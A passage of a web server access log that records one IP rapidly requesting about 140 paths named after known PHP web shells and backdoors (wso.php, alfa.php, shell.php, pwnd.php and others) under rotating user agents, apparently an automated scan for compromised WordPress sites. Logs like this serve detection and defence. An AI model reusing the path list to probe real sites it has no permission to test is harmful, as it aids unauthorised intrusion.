rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:04:56 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 23.27.110.52 - - [05/Apr/2026:10:04:56 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 23.27.110.52 - - [05/Apr/2026:10:04:56 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:04:57 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:04:57 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:57 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 23.27.110.52 - - [05/Apr/2026:10:04:57 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 23.27.110.52 - - [05/Apr/2026:10:04:58 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:04:58 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:58 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 23.27.110.52 - - [05/Apr/2026:10:04:42 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:43 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 23.27.110.52 - - [05/Apr/2026:10:04:43 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 23.27.110.52 - - [05/Apr/2026:10:04:43 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:44 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 23.27.110.52 - - [05/Apr/2026:10:04:44 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:44 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:44 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:45 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 23.27.110.52 - - [05/Apr/2026:10:04:45 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 23.27.110.52 - - [05/Apr/2026:10:04:45 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:04:46 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:46 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 23.27.110.52 - - [05/Apr/2026:10:04:46 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:47 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:51 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 23.27.110.52 - - [05/Apr/2026:10:04:51 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 23.27.110.52 - - [05/Apr/2026:10:04:53 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 23.27.110.52 - - [05/Apr/2026:10:04:54 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:01 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 23.27.110.52 - - [05/Apr/2026:10:05:01 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 23.27.110.52 - - [05/Apr/2026:10:04:58 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 23.27.110.52 - - [05/Apr/2026:10:04:59 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:59 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 23.27.110.52 - - [05/Apr/2026:10:04:59 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:00 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 23.27.110.52 - - [05/Apr/2026:10:05:00 +0300] "GET /top.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 23.27.110.52 - - [05/Apr/2026:10:05:00 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 23.27.110.52 - - [05/Apr/2026:10:05:00 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:08 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 23.27.110.52 - - [05/Apr/2026:10:05:08 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:08 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:10 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 23.27.110.52 - - [05/Apr/2026:10:05:12 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 23.27.110.52 - - [05/Apr/2026:10:05:12 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:20 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 23.27.110.52 - - [05/Apr/2026:10:05:20 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:23 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:23 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 23.27.110.52 - - [05/Apr/2026:10:05:25 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 23.27.110.52 - - [05/Apr/2026:10:04:48 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:49 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:50 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:04:50 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:03 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 23.27.110.52 - - [05/Apr/2026:10:05:03 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:04 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:04 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 23.27.110.52 - - [05/Apr/2026:10:05:05 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:06 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 23.27.110.52 - - [05/Apr/2026:10:05:06 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:07 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:11 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:05:11 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:11 +0300] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:11 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:21 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:21 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 23.27.110.52 - - [05/Apr/2026:10:05:22 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:05:22 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:05 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 23.27.110.52 - - [05/Apr/2026:10:05:05 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:09 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 23.27.110.52 - - [05/Apr/2026:10:05:09 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:09 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:09 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:13 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:13 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:15 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 23.27.110.52 - - [05/Apr/2026:10:05:17 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 23.27.110.52 - - [05/Apr/2026:10:05:17 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:05:17 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 23.27.110.52 - - [05/Apr/2026:10:05:25 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:25 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:33 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:05:33 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 23.27.110.52 - - [05/Apr/2026:10:05:36 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:36 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:36 +0300] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 23.27.110.52 - - [05/Apr/2026:10:05:37 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 23.27.110.52 - - [05/Apr/2026:10:04:51 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 23.27.110.52 - - [05/Apr/2026:10:04:52 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:05:04 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:04 +0300] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:12 +0300] "GET /ms-users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:12 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:13 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:05:14 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 23.27.110.52 - - [05/Apr/2026:10:05:14 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:15 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 23.27.110.52 - - [05/Apr/2026:10:05:15 +0300] "GET /memberfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:19 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 23.27.110.52 - - [05/Apr/2026:10:05:19 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:27 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 23.27.110.52 - - [05/Apr/2026:10:05:27 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:34 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 23.27.110.52 - - [05/Apr/2026:10:05:34 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 23.27.110.52 - - [05/Apr/2026:10:05:35 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:05:35 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:05:40 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:05:40 +0300] "GET /wp-content/plugins/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 23.27.110.52 - - [05/Apr/2026:10:04:53 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:04:53 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:04:54 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 23.27.110.52 - - [05/Apr/2026:10:04:54 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 23.27.110.52 - - [05/Apr/2026:10:05:10 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 23.27.110.52 - - [05/Apr/2026:10:05:10 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 23.27.110.52 - - 